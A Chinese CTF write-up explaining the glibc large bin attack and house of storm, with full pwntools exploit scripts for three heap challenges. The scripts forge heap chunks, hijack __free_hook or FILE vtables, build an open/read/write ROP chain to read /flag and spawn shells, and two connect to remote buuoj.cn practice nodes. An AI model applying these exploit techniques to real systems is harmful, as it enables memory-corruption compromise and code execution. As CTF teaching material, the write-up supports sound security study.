large bin attack是一种堆利用手法,而house of strom则是在large bin attack的基础上借用unsorted bin来达到任意地址分配,首先我们从源码入手来分析large bin attack原理,然后再讲讲house of strom的原理,接着再看几个题目。
为例方便分析,以2.23为例,新版本有tcache的情况类似,只需填满tcache bin绕过tcache即可。
在free的时候,chunk要么被放入fastbin,要么就被放到unsorted bin。当我们再次malloc的时候,如果对unsorted bin做了遍历,unsorted bin里的chunk才会被放到对应的bin里,比如large bin、small bin。比如我在unsorted bin里有一个size为0x420的chunk,那么它会被放到对应的large bin里。而large bin attack就是利用了unsorted bin里未归位的chunk插入到large bin时的解链、成链操作。来看一段malloc中的源码
首先,victim就是unsorted bin chunk,也就在unsorted bin里未归位的large bin chunk。而fwd就是large bin的chunk。从上来看,首先,在unsorted bin里我们得有一个large bin chunk,并且在large bin里,我们也要有一个chunk,但是,我们得保证unsorted bin里的那个large bin chunk的size要比large bin里已有的这个chunk的size要大一点,但是都属于同一个index。
这样做的目的是我们想绕过前面的这一大块,直接到后面的那个else处。
然后,假设我们通过UAF或其他漏洞,控制了large bin里的这个chunk的bk_nextsize为addr1,那么victim->bk_nextsize->fd_nextsize = victim; //第一次任意地址写入unsorted bin chunk的地址 也就是addr1->fd_nextsize = victim,也就是*(addr1+0x20) = victim,这就是第一次任意地址写一个堆地址;接下来,假如,我们还能控制large bin里那个chunk的bk为addr2,那么首先bck = fwd->bk; 使得bck = addr2,接下来bck->fd = victim; //第二次任意地址写入unsorted bin chunk的地址 也就是addr2->fd = victim,也就是*(addr2+0x10) = victim。这样利用large bin attack,我们可以有两次往任意地址写入堆地址的机会。下面,我们就来看一道题。
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
初始化
add函数
delete函数
edit函数
可以看到,这里面的edit,delete操作,都只是针对mmap出来的那片空间,而malloc出来的空间我们控制不了,无法写数据过去。也没有函数用于泄露。由此,我们可以使用large bin attack攻击IO_2_1_stdout结构体,第一次,将IO_2_1_stdout结构体的flags覆盖为堆地址,第二次利用错位将IO_2_1_stdout的_IO_write_base成员低1字节覆盖为0,这样就能泄露数据了。还有一点需要注意的是这个flags有要求
首先,我们需要绕过这两个if,这就要求低1字节的低4位不能为8,第二字节的低4位必须要为8,也就是,我们的unsorted bin chunk地址末尾地址应该为0x800这样
接下来,到达new_do_write,我们要让这个if成立
综上,我们的unsorted bin chunk的地址某位应该是这样的0x1800、0x3800、0x5800…这样的第二字节高4位为奇数即可,由于堆地址随机化,因此第二字节高4位我们不用管,随着堆的随机化总有一次符合要求。我们只需要满足低12bit即可,也就是,这个未归位的unsorted bin chunk,我们需要放到偏移0x800处。并且在最后,我们还需要再链入一个小的unsorted bin,不然我们执行了large bin attack后,在unsorted bin里还没找到符合申请大小的chunk,就会把large bin切割,导致崩溃。
如上,0将放入large bin,而3将作为在unsorted bin里未归位的large bin chunk,5将链入unsorted bin作为large bin attack以后的申请用。这样攻击了IO_2_1_stdout以后,我们就得到了glibc地址,然后,我们就可以利用house of orange来getshell了。
#coding:utf8
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
_IO_2_1_stdout_s = libc.sym['_IO_2_1_stdout_']
def add(size):
sh.sendlineafter('>>','1')
sh.sendlineafter('size:',str(size))
def edit(offset,size,content):
sh.sendlineafter('>>','2')
sh.sendlineafter('offset:',str(offset))
sh.sendlineafter('size:',str(size))
sh.sendafter('content:',content)
def delete(offset):
sh.sendlineafter('>>','3')
sh.sendlineafter('offset:',str(offset))
def exploit():
#伪造8个chunk
#0
edit(0,0x100,p64(0) + p64(0x421) + 'a'*0xF0)
#1
edit(0x420,0x20,p64(0) + p64(0x21) + 'b'*0x10)
#2
edit(0x440,0x20,p64(0) + p64(0x21) + 'b'*0x10)
#3
edit(0x880,0x100,p64(0) + p64(0x431) + 'c'*0xF0)
#4
edit(0xCB0,0x20,p64(0) + p64(0x21) + 'd'*0x10)
#5
edit(0xCD0,0x90,p64(0) + p64(0x91) + 'e'*0x80)
#6
edit(0xD60,0x20,p64(0) + p64(0x21) + 'f'*0x10)
#7
edit(0xD80,0x20,p64(0) + p64(0x21) + 'g'*0x10)
#0进入unsored bin
delete(0x10)
#malloc_consolidate将0放入large bin
add(0x430)
#接下来,为了在bk和bk_nextsize处都有libc指针,我们要继续伪造unsorted bin
#在bk_nextsize处留下libc指针
edit(0x10,0xF0,p64(0) + p64(0x91) + 'a'*0x80 + (p64(0) + p64(0x21) + 'a'*0x10) * 3)
delete(0x20)
add(0x80) #把unsorted bin申请掉
#在bk留下libc指针
edit(0,0x10,p64(0) + p64(0xC1))
delete(0x10)
add(0xB0) #把unsorted bin申请掉
#修改large bin的bk,指向stdout
edit(0x10,0xA,p64(0) + p16((0x2 << 12) + ((_IO_2_1_stdout_s - 0x10) & 0xFFF)))
#修改large bin的bk_nextsize
edit(0x20,0xA,p64(0) + p16((0x2 << 12) + ((_IO_2_1_stdout_s + 0x20 - 0x20 - 0x7) & 0xFFF)))
#恢复large bin的头size
edit(0,0x10,p64(0) + p64(0x421))
#3放入unsorted bin,3属于未归位的large bin
delete(0x890)
#0x90的堆放入unsorted bin
delete(0xCE0)
#遍历unsorted bin时发生large bin attack,攻击io_2_1_stdout
add(0x80)
sh.recv(1)
sh.recv(0x18)
libc_base = u64(sh.recv(8)) - libc.symbols['_IO_file_jumps']
print 'libc_base=',hex(libc_base)
if libc_base >> 40 != 0x7F:
raise Exception('leak error')
_IO_list_all_addr = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
_IO_str_finish_ptr_addr = libc_base + 0x3C37B0
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
print '_IO_str_finish_ptr_addr=',hex(_IO_str_finish_ptr_addr)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
#house of orange
fake_file = p64(0) + p64(0x61) #unsorted bin attack
fake_file += p64(0) + p64(_IO_list_all_addr - 0x10)
#_IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(binsh_addr)
fake_file = fake_file.ljust(0xC0,'\x00')
fake_file += p64(0)*3
fake_file += p64(_IO_str_finish_ptr_addr - 0x18) #vtable
fake_file += p64(0)
fake_file += p64(system_addr)
delete(0xCE0) #unsorted bin
edit(0xCD0,len(fake_file),fake_file) #修改unsorted bin内容
#getshell
add(1)
while True:
try:
global sh
#sh = process('./starctf_2019_heap_master')
sh = remote('node3.buuoj.cn',29960)
exploit()
sh.interactive()
except:
sh.close()
print 'trying...'
理解了large bin attack,接下来,我们就可以来看house of strom了,house of strom可以实现任意地址分配,看看前面的这道题,我们是将一个合法的unsorted bin chunk链接到unsorted bin里未归位的large bin chunk的bk处,假设,我们将一个任意地址比如addr链接到unsorted bin里未归位的large bin chunk的bk处,然后执行large bin attack会发生什么。
那么,在large bin attack阶段不会有问题,只是接下来,继续遍历,取到我们链接上的这个chunk时,检查其size,不符合要求然后崩溃。我们可以利用前面的large bin attack,先将addr处的size的位置写上一个堆指针,我们可以利用错位法,这样,在size处留下了chunk地址值的第6字节数据,在开启PIE的情况下,一般为0x55为0x56,这样,我们malloc(0x40),遍历到第一个未归位的large bin chunk时,发生large bin attack,接下来遍历到后面这个任意地址的chunk时,发现size符合要求,直接返回给用户,就可以成功把这个任意地址的空间申请过来。
这就是house of strom的原理。
我们来看两道题
首先,检查一下程序的保护机制
沙箱禁用了execve调用,因此我们只能使用open、read、write来读flag
然后,我们用IDA分析一下,禁用fastbin,因此不能使用fastbin attack。
Edit功能存在null off by one漏洞。
Add功能里size比较自由
首先就是利用null off by one构造overlap chunk,然后利用malloc_consolidate将一个chunk放到large bin,另一个放到unsorted bin,然后利用overlap chunk去控制这两个bin的指针。然后malloc(0x48)触发large bin attack的同时将会把任意地址申请过来。
我们用house of strom申请到free_hook处,劫持free_hook为setcontext+xx处,这样就能将栈切换到堆里,我们提前在堆里布置好rop即可。
#coding:utf8
from pwn import *
context(os='linux',arch='amd64')
#sh = process('./rctf_2019_babyheap')
sh = remote('node3.buuoj.cn',28529)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
setcontext_s = libc.sym['setcontext']
open_s = libc.sym['open']
read_s = libc.sym['read']
write_s = libc.sym['write']
def add(size):
sh.sendlineafter('Choice:','1')
sh.sendlineafter('Size:',str(size))
def edit(index,content):
sh.sendlineafter('Choice:','2')
sh.sendlineafter('Index:',str(index))
sh.sendafter('Content:',content)
def delete(index):
sh.sendlineafter('Choice:','3')
sh.sendlineafter('Index:',str(index))
def show(index):
sh.sendlineafter('Choice:','4')
sh.sendlineafter('Index:',str(index))
add(0xF0) #0
add(0x38) #1
add(0x3F0) #2 large bin chunk
add(0x10) #3
add(0xF0) #4
add(0x48) #5
add(0x3F0) #6 large bin chunk
add(0x100) #7
delete(0)
#null off by one
edit(1,'a'*0x30 + p64(0x40 + 0x100))
delete(2)
add(0xF0) #0
show(1)
sh.recv(1)
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
setcontext_addr = libc_base + setcontext_s
write_addr = libc_base + write_s
open_addr = libc_base + open_s
read_addr = libc_base + read_s
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'setcontext_addr=',hex(setcontext_addr)
#将剩余部分申请,现在2与1重合
add(0x430) #2
#继续用同样的方法,构造一个未归位的large bin,并且比前一个大一些,但是要保证处于同一个index内
delete(4)
edit(5,'b'*0x40 + p64(0x50 + 0x100))
delete(6)
add(0xF0) #4
#将剩余部分申请,5与6重合
add(0x440) #6
#2放入unsorted bin
delete(2)
#2放入large bin
add(0x500) #2
#6放入unsorted bin
delete(6)
#现在,堆布局是unsorted bin里一个未归位的large bin,large bin里有一个chunk,且unsorted bin里的比large bin里的大
#将free_hook_addr链接到unsorted bin chunk的bk
fake_chunk = free_hook_addr - 0x10
edit(5,p64(0) + p64(fake_chunk))
#控制large bin的bk_nextsize,目的是解链时向bk_nextsize->fd_nextsize写入一个堆地址,我们可以以此来伪造size
payload = p64(0) + p64(fake_chunk + 0x8) #bk,只需保证是一个可写的地址即可
payload += p64(0) + p64(fake_chunk - 0x18 - 0x5)
edit(1,payload)
##触发house of storm,申请到free_hook处
add(0x48) #6
#写free_hook,栈迁移到堆里
'''mov rsp, [rdi+0A0h]
...'''
rop = p64(0) + p64(pop_rsi) + p64(free_hook_addr + 0x40) + p64(pop_rdx) + p64(0x200) + p64(read_addr)
payload = p64(setcontext_addr + 0x35) + '\x00'*0x8
payload += rop
edit(6,payload)
#设置0xA0偏移处的值
edit(7,'a'*0xA0 + p64(free_hook_addr + 0x10) + p64(pop_rdi))
#栈迁移到free_hook_addr + 0x10,执行read,继续输入后续rop
delete(7)
flag_addr = free_hook_addr + 0x40 + 0x98
rop2 = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
rop2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
rop2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
rop2 += '/flag\x00'
sleep(1)
sh.send(rop2)
sh.interactive()
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
存在一个null off by one漏洞,但是prev_size不可控。
由此,我们可以使用shrink unsorted bin的方法来构造overlap chunk。
Show功能需要满足条件才能使用
因此,我们需要利用house of strom申请到堆指针数组处,也就是0x13370800这个地址处,然后控制其里面的数据,使得我们能够调用show,进而泄露地址,然后通过edit去修改free_hook,从而getshell。
#coding:utf8
from pwn import *
sh = process('./0ctf_2018_heapstorm2')
#sh = remote('node3.buuoj.cn',26323)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.sym['__malloc_hook']
free_hook_s = libc.sym['__free_hook']
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()
def add(size):
sh.sendlineafter('Command:','1')
sh.sendlineafter('Size:',str(size))
def edit(index,size,content):
sh.sendlineafter('Command:','2')
sh.sendlineafter('Index:',str(index))
sh.sendlineafter('Size:',str(size))
sh.sendafter('Content:',content)
def delete(index):
sh.sendlineafter('Command:','3')
sh.sendlineafter('Index:',str(index))
def show(index):
sh.sendlineafter('Command:','4')
sh.sendlineafter('Index:',str(index))
add(0x18) #0
add(0x410) #1
add(0x80) #2
add(0x18) #3
add(0x420) #4
add(0x80) #5
add(0x10) #6
#伪造chunk 1的尾部
edit(1,0x400,'b'*0x3F0 + p64(0x400) + p64(0x21))
#1放入unsorted bin
delete(1)
#null off by one shrink unsorted bin
edit(0,0x18-0xC,'a'*(0x18-0xC))
#从unsorted bin里切割
add(0x80) #1
add(0x360) #7
#1放入unsorted bin
delete(1)
#2向前合并
delete(2)
add(0x80) #1 将unsorted bin指针移动到下一个chunk
#将0x420的chunk申请出来,待会儿再放入large bin
add(0x410) #2
#我们用同样的方法来构造一个大一些的large bin
edit(4,0x400,'d'*0x3F0 + p64(0x400) + p64(0x31))
#4放入unsorted bin
delete(4)
#null off by one shrink unsorted bin
edit(3,0x18-0xC,'c'*(0x18-0xC))
#从unsorted bin里切割
add(0x80) #4
add(0x360) #8
#4放入unsorted bin
delete(4)
#5向前合并
delete(5)
add(0x80) #4
#将0x430的chunk申请出来,待会儿再放入unsorted bin
add(0x420) #5
#将2放入large bin,通过7我们可以large bin
delete(2)
add(0x500) #2
#5放入unsorted bin,通过8,我们可以控制一个未归位的large bin
delete(5)
#我们要分配到的目的地
fake_chunk = 0x0000000013370800 - 0x10
#控制unsorted bin相关指针
edit(8,0x10,p64(0) + p64(fake_chunk))
#控制large bin相关指针
edit(7,0x20,p64(0) + p64(fake_chunk + 0x8) + p64(0) + p64(fake_chunk - 0x18 -0x5))
add(0x48) #5
#通过5,我们可以控制整个堆指针数组了
edit(5,0x30,p64(0)*2 + p64(0x13377331) + p64(0) + p64(fake_chunk + 0x40) + p64(0x48))
edit(0,0x10,p64(0x00000000133707F3) + p64(0x8))
#泄露堆地址
show(1)
sh.recvuntil('Chunk[1]: ')
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
#泄露lib指针
edit(0,0x10,p64(heap_addr + 0x10) + p64(0x8))
show(1)
sh.recvuntil('Chunk[1]: ')
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
edit(0,0x10,p64(free_hook_addr) + p64(0x8))
#写free_hook
edit(1,0x8,p64(system_addr))
edit(0,0x10,p64(binsh_addr) + p64(0x8))
#getshell
delete(1)
sh.interactive()